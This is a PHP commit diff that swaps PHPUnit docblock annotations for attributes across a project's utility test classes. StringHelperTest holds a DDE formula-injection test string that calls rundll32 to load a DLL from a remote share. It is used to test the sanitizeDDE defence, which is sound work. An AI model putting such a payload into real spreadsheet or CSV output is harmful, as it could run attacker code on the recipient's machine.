replace PHPUnit annotations with attributes (#5608)
This commit is contained in:
@@ -15,11 +15,10 @@ use App\Entity\Customer;
|
||||
use App\Entity\Project;
|
||||
use App\Entity\Timesheet;
|
||||
use App\Utils\Color;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\Color
|
||||
*/
|
||||
#[CoversClass(Color::class)]
|
||||
class ColorTest extends TestCase
|
||||
{
|
||||
public function testGetColorAndGetTimesheetColor(): void
|
||||
|
||||
@@ -10,11 +10,11 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\Duration;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\Duration
|
||||
*/
|
||||
#[CoversClass(Duration::class)]
|
||||
class DurationTest extends TestCase
|
||||
{
|
||||
public function testFormat(): void
|
||||
@@ -25,18 +25,14 @@ class DurationTest extends TestCase
|
||||
self::assertEquals('2:38', $sut->format(9494));
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getParseDurationTestData
|
||||
*/
|
||||
#[DataProvider('getParseDurationTestData')]
|
||||
public function testParseDurationString($expected, $duration, $mode): void
|
||||
{
|
||||
$sut = new Duration();
|
||||
self::assertEquals($expected, $sut->parseDurationString($duration));
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getParseDurationTestData
|
||||
*/
|
||||
#[DataProvider('getParseDurationTestData')]
|
||||
public function testParseDuration($expected, $duration, $mode): void
|
||||
{
|
||||
$sut = new Duration();
|
||||
@@ -102,9 +98,7 @@ class DurationTest extends TestCase
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getParseDurationInvalidData
|
||||
*/
|
||||
#[DataProvider('getParseDurationInvalidData')]
|
||||
public function testParseDurationThrowsInvalidArgumentException($duration, $mode): void
|
||||
{
|
||||
$this->expectException(\InvalidArgumentException::class);
|
||||
|
||||
@@ -10,11 +10,11 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\FileHelper;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\FileHelper
|
||||
*/
|
||||
#[CoversClass(FileHelper::class)]
|
||||
class FileHelperTest extends TestCase
|
||||
{
|
||||
public static function getFileTestData()
|
||||
@@ -32,9 +32,7 @@ class FileHelperTest extends TestCase
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getFileTestData
|
||||
*/
|
||||
#[DataProvider('getFileTestData')]
|
||||
public function testEnsureMaxLength(string $expected, string $original): void
|
||||
{
|
||||
self::assertEquals($expected, FileHelper::convertToAsciiFilename($original));
|
||||
|
||||
@@ -10,11 +10,11 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\FormFormatConverter;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\FormFormatConverter
|
||||
*/
|
||||
#[CoversClass(FormFormatConverter::class)]
|
||||
class FormFormatConverterTest extends TestCase
|
||||
{
|
||||
public function testConvert(): void
|
||||
@@ -30,9 +30,7 @@ class FormFormatConverterTest extends TestCase
|
||||
self::assertEquals('H \h i', $sut->convert('HH \'h\' mm'));
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getProblemPattern
|
||||
*/
|
||||
#[DataProvider('getProblemPattern')]
|
||||
public function testProblemPattern($format, $example): void
|
||||
{
|
||||
$sut = new FormFormatConverter();
|
||||
|
||||
@@ -10,11 +10,10 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\JavascriptFormatConverter;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\JavascriptFormatConverter
|
||||
*/
|
||||
#[CoversClass(JavascriptFormatConverter::class)]
|
||||
class JavascriptFormatConverterTest extends TestCase
|
||||
{
|
||||
public function test()
|
||||
|
||||
@@ -10,12 +10,12 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\Markdown;
|
||||
use App\Utils\ParsedownExtension;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\Markdown
|
||||
* @covers \App\Utils\ParsedownExtension
|
||||
*/
|
||||
#[CoversClass(Markdown::class)]
|
||||
#[CoversClass(ParsedownExtension::class)]
|
||||
class MarkdownTest extends TestCase
|
||||
{
|
||||
public function testMarkdownToHtml(): void
|
||||
|
||||
@@ -10,11 +10,10 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\MenuItemModel;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\MenuItemModel
|
||||
*/
|
||||
#[CoversClass(MenuItemModel::class)]
|
||||
class MenuItemModelTest extends TestCase
|
||||
{
|
||||
public function testChildRoutes(): void
|
||||
|
||||
@@ -10,21 +10,21 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\NumberGenerator;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\NumberGenerator
|
||||
*/
|
||||
#[CoversClass(NumberGenerator::class)]
|
||||
class NumberGeneratorTest extends TestCase
|
||||
{
|
||||
/**
|
||||
* @dataProvider getTestData
|
||||
* @param string $format
|
||||
* @param array<mixed> $options
|
||||
* @param string $expected
|
||||
* @param int $startWith
|
||||
* @return void
|
||||
*/
|
||||
#[DataProvider('getTestData')]
|
||||
public function testGenerateNumber(string $format, array $options, string $expected, int $startWith): void
|
||||
{
|
||||
$sut = new NumberGenerator($format, function (string $originalFormat, string $format, int $increaseBy) use ($options) {
|
||||
|
||||
@@ -12,11 +12,10 @@ namespace App\Tests\Utils;
|
||||
use App\Repository\Query\BaseQuery;
|
||||
use App\Utils\DataTable;
|
||||
use App\Utils\PageSetup;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\PageSetup
|
||||
*/
|
||||
#[CoversClass(PageSetup::class)]
|
||||
class PageSetupTest extends TestCase
|
||||
{
|
||||
public function testDefaults(): void
|
||||
|
||||
@@ -12,11 +12,10 @@ namespace App\Tests\Utils;
|
||||
use App\Repository\Query\TimesheetQuery;
|
||||
use App\Utils\Pagination;
|
||||
use Pagerfanta\Adapter\ArrayAdapter;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\Pagination
|
||||
*/
|
||||
#[CoversClass(Pagination::class)]
|
||||
class PaginationTest extends TestCase
|
||||
{
|
||||
public function testDefaults(): void
|
||||
|
||||
@@ -9,13 +9,13 @@
|
||||
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\Parsedown;
|
||||
use App\Utils\ParsedownExtension;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\Parsedown
|
||||
* @covers \App\Utils\ParsedownExtension
|
||||
*/
|
||||
#[CoversClass(Parsedown::class)]
|
||||
#[CoversClass(ParsedownExtension::class)]
|
||||
class ParsedownExtensionTest extends TestCase
|
||||
{
|
||||
public function testTableContainsCssClasses(): void
|
||||
|
||||
@@ -10,11 +10,10 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\Parsedown;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\Parsedown
|
||||
*/
|
||||
#[CoversClass(Parsedown::class)]
|
||||
class ParsedownTest extends TestCase
|
||||
{
|
||||
public function testTableContainsCssClasses(): void
|
||||
|
||||
@@ -10,14 +10,14 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\ProfileManager;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
use Symfony\Component\HttpFoundation\Request;
|
||||
use Symfony\Component\HttpFoundation\Session\Session;
|
||||
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\ProfileManager
|
||||
*/
|
||||
#[CoversClass(ProfileManager::class)]
|
||||
class ProfileManagerTest extends TestCase
|
||||
{
|
||||
public function testEmpty(): void
|
||||
@@ -45,9 +45,7 @@ class ProfileManagerTest extends TestCase
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getInvalidProfiles
|
||||
*/
|
||||
#[DataProvider('getInvalidProfiles')]
|
||||
public function testIsInvalidProfile(string $profile): void
|
||||
{
|
||||
$sut = new ProfileManager();
|
||||
@@ -68,9 +66,7 @@ class ProfileManagerTest extends TestCase
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getDatatableNames
|
||||
*/
|
||||
#[DataProvider('getDatatableNames')]
|
||||
public function testDatatableName(string $expected, string $datatable, ?string $prefix): void
|
||||
{
|
||||
$sut = new ProfileManager();
|
||||
@@ -95,9 +91,7 @@ class ProfileManagerTest extends TestCase
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getProfileNames
|
||||
*/
|
||||
#[DataProvider('getProfileNames')]
|
||||
public function testGetProfile(string $profile, string $expected): void
|
||||
{
|
||||
$sut = new ProfileManager();
|
||||
@@ -136,9 +130,7 @@ class ProfileManagerTest extends TestCase
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getCookieProfiles
|
||||
*/
|
||||
#[DataProvider('getCookieProfiles')]
|
||||
public function testGetProfileFromCookie(string $cookieValue, string $expected): void
|
||||
{
|
||||
$request = new Request();
|
||||
@@ -165,9 +157,7 @@ class ProfileManagerTest extends TestCase
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getSessionProfiles
|
||||
*/
|
||||
#[DataProvider('getSessionProfiles')]
|
||||
public function testGetProfileFromSession(string $sessionValue, string $expected): void
|
||||
{
|
||||
$request = new Request();
|
||||
|
||||
@@ -10,11 +10,11 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\SearchTermPart;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\SearchTermPart
|
||||
*/
|
||||
#[CoversClass(SearchTermPart::class)]
|
||||
class SearchTermPartTest extends TestCase
|
||||
{
|
||||
public static function getTestData(): array
|
||||
@@ -32,9 +32,7 @@ class SearchTermPartTest extends TestCase
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getTestData
|
||||
*/
|
||||
#[DataProvider('getTestData')]
|
||||
public function testSearchTerm(string $term, string $expected, ?string $field, bool $excluded): void
|
||||
{
|
||||
$sut = new SearchTermPart($term);
|
||||
|
||||
@@ -10,11 +10,11 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\SearchTerm;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\Group;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\SearchTerm
|
||||
*/
|
||||
#[CoversClass(SearchTerm::class)]
|
||||
class SearchTermTest extends TestCase
|
||||
{
|
||||
public function testNormalSearchTerm(): void
|
||||
@@ -61,9 +61,7 @@ class SearchTermTest extends TestCase
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @group legacy
|
||||
*/
|
||||
#[Group('legacy')]
|
||||
public function testWithMultipleMetaFields(): void
|
||||
{
|
||||
$sut = new SearchTerm('foo:bar bar:foo');
|
||||
|
||||
@@ -10,11 +10,11 @@
|
||||
namespace App\Tests\Utils;
|
||||
|
||||
use App\Utils\StringHelper;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
|
||||
/**
|
||||
* @covers \App\Utils\StringHelper
|
||||
*/
|
||||
#[CoversClass(StringHelper::class)]
|
||||
class StringHelperTest extends TestCase
|
||||
{
|
||||
public function testEnsureMaxLength(): void
|
||||
@@ -48,9 +48,7 @@ class StringHelperTest extends TestCase
|
||||
yield [PHP_EOL . "=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getDdeAttackStrings
|
||||
*/
|
||||
#[DataProvider('getDdeAttackStrings')]
|
||||
public function testSanitizeDde(string $input): void
|
||||
{
|
||||
self::assertEquals("' " . $input, StringHelper::sanitizeDDE($input));
|
||||
@@ -62,9 +60,7 @@ class StringHelperTest extends TestCase
|
||||
yield [' '];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getNonDdeAttackStrings
|
||||
*/
|
||||
#[DataProvider('getNonDdeAttackStrings')]
|
||||
public function testSanitizeDdeWithCorrectStrings(string $input): void
|
||||
{
|
||||
self::assertEquals($input, StringHelper::sanitizeDDE($input));
|
||||
|
||||
Reference in New Issue
Block a user